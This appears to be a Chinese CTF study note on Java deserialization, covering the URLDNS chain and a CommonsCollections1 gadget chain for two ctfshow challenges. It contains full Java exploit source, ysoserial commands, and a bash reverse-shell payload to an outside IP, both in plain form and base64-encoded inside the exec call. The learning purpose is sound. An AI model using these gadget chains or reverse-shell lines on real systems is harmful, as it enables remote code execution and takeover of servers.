javax

JAVA反序列化


序列化调用的函数

序列化:java.io.ObjectOutputStream 类中的 writeObject()
实现 Serializable 和 Externalizable 接口的类才能被序列化


反序列化调用的函数

反序列化:java.io.ObjectInputStream 类中的 readObject()


在 Java中,重写的方法会优先执行。如果重写了readObject(),并且函数中某个参数的输入可控,那么攻击者就可以输入任意命令(代码)。在反序列化过程中调用readObject()方法时,就会执行恶意命令,造成攻击


课程


例题


URLDNS链

URLDNS链不能执行命令,通常作为验证是否存在反序列化漏洞的一种方式。

脚本 ysoserial.jar

用法

1
java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'

URLDNS例题 来自ctfshow846

  • ctfshow会对你post提交的ctfshow参数进行base64解码
    然后进行反序列化
    构造出对当前题目地址的dns查询即可获得flag

参考POV

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package Serialize;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;

public class URLDNS {
public static void serialize(Object obj) throws IOException{
ByteArrayOutputStream data =new ByteArrayOutputStream();
ObjectOutput oos =new ObjectOutputStream(data);
oos.writeObject(obj);
oos.flush();
oos.close();
System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
};
public static void main(String[] args) throws Exception{
URL url=new URL("http://c1161cd4-e370-4b4a-a6b0-2107fcb148ef.challenge.ctf.show");
/*
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
} 初始化时hashcode=-1,h.put时调用了url的hashcode,hashcode不等于-1,需要通过反射修改hashcode
*/
Class<?> c=url.getClass();
Field hashcode=c.getDeclaredField("hashCode");
hashcode.setAccessible(true);
//修改成员变量
hashcode.set(url,1);
HashMap<URL,Integer> h = new HashMap<URL,Integer>();
h.put(url,1);
hashcode.set(url,-1);
serialize(h);
//URL
//HashMap
}
}

调用hashmap最后调用的是url的hashcode方法,在最后调用getaddress


1
2
3
4
5
6
7
8
9
┌──(root💀kali)-[/home/huarui/桌面/java tool]
└─# java -jar ysoserial.jar URLDNS "http://bb7c5da6-cbdd-4585-8c3e-9793141c140f.challenge.ctf.show/"|base64
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVz
aG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFz
aENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgAD
TAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAN2JiN2M1
ZGE2LWNiZGQtNDU4NS04YzNlLTk3OTMxNDFjMTQwZi5jaGFsbGVuZ2UuY3RmLnNob3d0AAEvcQB+
AAV0AARodHRwcHh0AD9odHRwOi8vYmI3YzVkYTYtY2JkZC00NTg1LThjM2UtOTc5MzE0MWMxNDBm
LmNoYWxsZW5nZS5jdGYuc2hvdy94

然后将playload输入即可


例题2

来自ctfshow web847

  • 提交ctfshow参数进行base64解码
    然后进行反序列化
    我是java7,使用了commons-collections 3.1的库
    为了保证业务安全,我删除了nc和curl命令
    下面是我接收参数的代码
    data=new BASE64Decoder().decodeBuffer(request.getParameter(“ctfshow”));

从题目可知可以在ysoserial中cc1、cc3、cc5、cc6、cc7使用对应的commons-collections:3.1
随便在上述任意cc链挑选一个运行反弹shell即可


ysoserial工具

1
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,要执行命令的base64编码}|{base64,-d}|{bash,-i}"|base64 

除了nc和curl命令,这里还可以使用bash反弹
bash -i >& /dev/tcp/x.x.x.x/xxxx 0>&1


贴一个POV

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package org.example;  

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Main {
public static void main(String[] args) throws Exception{
Transformer[] transformers =new Transformer[]
{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDEuNzAuMzMvODg4OCAwPiYx}|{base64,-d}|{bash,-i}"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap=new HashMap<Object,Object>();
hashMap.put("value",chainedTransformer);
Map<Object,Object> transformedMap =TransformedMap.decorate(hashMap,null,chainedTransformer);
Class c= Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandler=c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandler.setAccessible(true);
Object obj= annotationInvocationHandler.newInstance(Target.class,transformedMap);
serialize(obj);
}
public static void serialize(Object obj) throws Exception{
ByteArrayOutputStream data=new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(data);
oos.writeObject(obj);
oos.flush();
oos.close();
System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
}
}

需要反弹shell